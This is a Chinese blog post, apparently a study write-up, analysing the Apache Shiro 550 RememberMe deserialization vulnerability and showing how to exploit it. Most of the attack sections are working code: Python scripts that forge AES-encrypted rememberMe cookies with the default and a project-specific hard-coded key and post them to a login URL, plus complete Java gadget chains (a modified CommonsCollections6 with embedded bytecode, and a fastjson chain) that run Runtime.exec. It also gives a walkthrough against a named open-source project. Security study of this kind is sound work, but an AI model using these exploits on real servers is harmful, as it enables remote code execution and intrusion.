https://img2024.cnblogs.com/blog/3305226/202503/3305226-20250331155133325-143341361.jpg

shiro550反序列化漏洞分析以及攻击手法学习

Shiro框架550反序列化漏洞原理分析

环境搭建

shiro源码+jdk8+tomcat

1.漏洞原因

shiro版本小于<=1.2.24,大于1.2.24也可能会产生,作者自己配置硬编码

漏洞功能点存在于Shiro框架提供了RemeberMe的功能,使得用户登录成功后即使关掉浏览器中的页面后再次访问不需重新登录,开发者便通过序列化的方式对RemeberMe的value进行序列化存储以及反序列化提取

整个的处理流程为:取RemeberMe中的value值-->base64解码-->aes解码(使用硬编码)-->进行反序列化操作(此处未进行过滤)

最后两步的则导致了最后漏洞的出现,使得攻击者可以任意的构建恶意对象

2.漏洞分析

搜索关键处login,经分析我们在onSuccessfulLogin处打上断点,此为RememberMeManager抽象子类的一个方法

4d078865-0fbd-4e1c-8030-233110853b5a


清除当前身份信息,isRememberMe(token)如果你没有点击记住密码即为remerberMe=false, 即会跳过,反之进入rememberIdentity()函数

1a1f2055-abad-4a3a-912b-149a7965ec52

之后如图注释所说取出id后再次进入一个函数重载的方法

88435059-4137-4867-9ca2-46a17170dacf

convertPrincipalsToBytes将id转为字节数组

ecd53774-2bc0-4e76-962c-2daf2bc49eb0

跟进函数,先进行了序列化,再跟进encrypt()函数

36c76b2d-1401-4e24-b4b3-2cc9c2526963

5181ec69-bf8a-447c-81b1-1a4dca97d69e

我们可以得到aes加密的信息,使用CBC模式加密,此处getEncryptionCipherKey()便是密钥的获取,跟进函数查看如何获取

3d75d13d-49cc-41eb-8c9e-708d57ffa3e3

来到最终的变量设置处,密钥采用硬编码,且aes是对称加密算法,我们已知密钥即可伪造

ae941e3c-cd76-4840-bdcb-c7f7cc6b98d2

跳出前面的函数,进入下一个函数

b811ff58-9c6f-4bb1-bd94-759f45e197af

里面进行了base64的加密存储为cookie,而后结束

fa197869-1848-4340-a905-80c48d33d64d

接着我们来看解密过程,也就是真正漏洞产生点readObject,找到解密代码处

882f6c0e-46d2-460e-ad07-163d2d047184

5c8b620c-3736-4846-9429-0f8ebde03a3a

这里使用的是ClassResolvingObjectInputStream反序列化,有一点改变但不大。漏洞产生

然后就是漏洞利用了

3.漏洞发现

漏洞发现可以使用URLDNS链验证,先用ai生成个加密代码,手工随便改改,然后用urldns这条链探测是否存在漏洞,payload在之前都写过

DEFAULT_KEY = "kPH+bIxk5D2deZiIxcaaaA=="
def generate_payload(file):
    with open(file,"rb") as f:
        payload=f.read();
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(payload)))
    return ciphertext

if __name__ == "__main__":
    #文件名
    ser_bin = sys.argv[1]
    print(generate_payload(ser_bin))

jessionid得删,不然会直接用这个判断身份

image-20250409150143034

image-20250409150226774

4:漏洞利用

1.CB依赖攻击

shiro默认自带了cb1.8.3的依赖,同样直接生成payload打就行了

image-20250409150111554

image-20250409150407540

我在打的时候发生了一个错误,不能利用,于是debug,这个bug的意思其实就是说远程环境和写的payload的环境不一致,(远程环境是1.8.3)我当时本地是1.9.2,所以在生成payload时也一定得和攻击的环境一致

image-20250409151535412

image-20250409151937459

直接成功了,所以cb只要保证环境一致就行了

2.CC3依赖攻击

首先shiro是不带cc依赖的(不编译),所以得手工加一下cc3依赖

把CC3的依赖添加进去,攻击后服务器报错说加载不了这个类,但很显然这个类肯定是存在的,是一个Transformer数组类,说明问题应该是出在了之前提过了一点点区别那,也就是反序列化使用的类ClassResolvingObjectInputStream,比较一下这个类和ObjectInputStream

image-20250409160627114

java反序列化一定会调用resolveClass,所以比较下他们的resolveClass方法,后面的代码我就不读了,涉及到tomcat的类加载,等我学习完tomcat再回来补。现在的宏观表现就是ClassResolvingObjectInputStream无法加载数组类。所以导致CC6打不了。也就是不能出现数组类

我们用动态类加载和直接使用InvokerTransformer有两种形式,动态类加载是可以修改的

Transformer[] transformerArray = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
Transformer[] transformerArray = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
        };

如何改呢,这段其实做的操作就是让templates调用newTransformer()即可

image-20250409165247585

更改成把templates传入再+

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

其实就是改了圈出来的部分,接下来看LazyMap.get

image-20250409165426712

key改为templates即可

image-20250409165513931

往上找其实就是TiedMapEntry的get(key),构造时直接传进去就行了

image-20250409164851962

image-20250409165052305

POC:

public class CC6_change {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = TemplatesImpl.class;
        Field name = templatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "a");
        Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte[] code = Base64.getDecoder().decode("yv66vgAAADQALwoABwAhCgAiACMIACQKACIAJQcAJgcAJwcAKAEABjxpbml0PgEA" +
                "AygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFi" +
                "bGUBAAR0aGlzAQAPTGNvbS9rdWRvL1Rlc3Q7AQAJdHJhbnNmb3JtAQByKExjb20v" +
                "c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1" +
                "bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRp" +
                "b25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hh" +
                "bGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9v" +
                "cmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25I" +
                "YW5kbGVyOwEACkV4Y2VwdGlvbnMHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94" +
                "YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv" +
                "aW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hl" +
                "L3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylW" +
                "AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9k" +
                "dG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBh" +
                "Y2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVy" +
                "OwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAJgEAClNvdXJjZUZpbGUBAAlU" +
                "ZXN0LmphdmEMAAgACQcAKgwAKwAsAQAEY2FsYwwALQAuAQATamF2YS9pby9JT0V4" +
                "Y2VwdGlvbgEADWNvbS9rdWRvL1Rlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFs" +
                "YW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29t" +
                "L3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhj" +
                "ZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2" +
                "YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGph" +
                "dmEvbGFuZy9Qcm9jZXNzOwAhAAYABwAAAAAABAABAAgACQABAAoAAAAvAAEAAQAA" +
                "AAUqtwABsQAAAAIACwAAAAYAAQAAAAsADAAAAAwAAQAAAAUADQAOAAAAAQAPABAA" +
                "AgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACAAAwAAAAEADQAO" +
                "AAAAAAABABEAEgABAAAAAQATABQAAgAVAAAABAABABYAAQAPABcAAgAKAAAASQAA" +
                "AAQAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACoABAAAAAEADQAOAAAAAAABABEA" +
                "EgABAAAAAQAYABkAAgAAAAEAGgAbAAMAFQAAAAQAAQAWAAgAHAAJAAEACgAAAE8A" +
                "AgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAOAAkA" +
                "EQAMAA8ADQASAAwAAAACAAAAHQAAAAcAAkwHAB4AAAEAHwAAAAIAIA==");
        byte[][] codes = {code};
        bytecodes.set(templates,codes);

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);

        LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(),invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(),templates);
        HashMap<Object,Object> hashMap = new HashMap();
        hashMap.put(tiedMapEntry,"b");
        Class tiedMapEntryClass = java.lang.Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
        Field mapField = tiedMapEntryClass.getDeclaredField("map");
        mapField.setAccessible(true);
        mapField.set(tiedMapEntry,lazyMap);
        //序列化
        new ObjectOutputStream(new FileOutputStream("ser1.bin")).writeObject(hashMap);
        //反序列化
        new ObjectInputStream(new FileInputStream("ser1.bin")).readObject();
    }
}

成功

image-20250409165818819

3.CC4依赖攻击

直接用CC2打就行了,因为CC2没有用到数组

image-20250409180804427

5.实战

我觉得我只要放图基本就能理解了,不做赘述了

kvf-admin项目(shiro版本为1.2.60)

https://github.com/kalvinGit/kvf-admin

登录成功后,开始反序列化信息

ac9f6ca5-b1fa-49b7-8896-d6fd17e78c73

8c002b81-21d4-4292-8cce-5d593d14fc67

747f80ab-4d71-48b1-a4c1-d6342f8512ac

21c9a4df-a5d6-47c0-9cde-b1f33101685b

b93ac755-9653-4665-87ba-0ea0aabe35b5

这里存在硬编码,所以即使shiro版本大于1.2.24我们也得看看,因为会存在作者自己设置硬编码

17f32e2d-baa6-4d19-b854-18a6b478a458

接下来就是利用的环节,首先看看aes的加密模式,为GCM,则开始编写脚本即可

image-20250519205731792

随便写的,测试方便,然后urldns链测试一下

def generate_payloadGCM(file):
    with open(file,"rb") as f:
        payload=f.read();
    key = base64.b64decode("2AvVhdsgUs0FSA3SDFAdag==")
    cipher = AES.new(key,AES.MODE_GCM)
    ciphertext, tag = cipher.encrypt_and_digest(payload)
    nonce = cipher.nonce
    encrypted_data = nonce + ciphertext + tag
    rememberme = base64.b64encode(encrypted_data).decode()
    return rememberme
if __name__ == "__main__":
    #文件名
    ser_bin = sys.argv[1]
    rememberMe = generate_payloadGCM(ser_bin)
    print(rememberMe)
    #url = sys.argv[2]
    url = "http://ip//login"
	#发送payload
    headers={
        "Cookie":f"rememberMe={rememberMe}",
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 GLS/100.10.9939.100"
    }
    data = {"username":"test"}
    response = requests.post(url=url,headers=headers,data=data)
    print(response.text)

确认存在漏洞接着找利用链

image-20250519205957560

CC和CB都不存在漏洞,但存在一个fastjson1.2.79,可以使用fastjson原生反序列化链

image-20250519210322401

poc: 同样手法攻击即可,但在jdk17后则不可以用了,是因为对TemplatesImpl进行了处理,之后专门写一篇进行绕过

public class Fastjson2 {

    public static byte[] getTemplates() throws Exception{
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }

    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();

        //装载Templates
        TemplatesImpl template2 = new TemplatesImpl();
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][] {code});
        setFieldValue(template, "_name", "Evil");


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException badAttributeValueExpException = new 			BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
        hashMap.put(template, badAttributeValueExpException);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();

        //序列化
        new ObjectOutputStream(new FileOutputStream("fastjson.bin")).writeObject(hashMap);
        //反序列化
        new ObjectInputStream(new FileInputStream("fastjson.bin")).readObject();

    }
}

成功利用,命令执行

image-20250519210931297

参考:

Apache Shiro框架若干漏洞原理研究 - 郑瀚 - 博客园

【Shiro反序列化漏洞(一)-shiro550流程分析】https://www.bilibili.com/video/BV1iF411b7bD?vd_source=2884b80d333f3bfc8048b360e6195550

posted @ 2025-04-11 13:39  kudo4869  阅读(490)  评论(0)    收藏  举报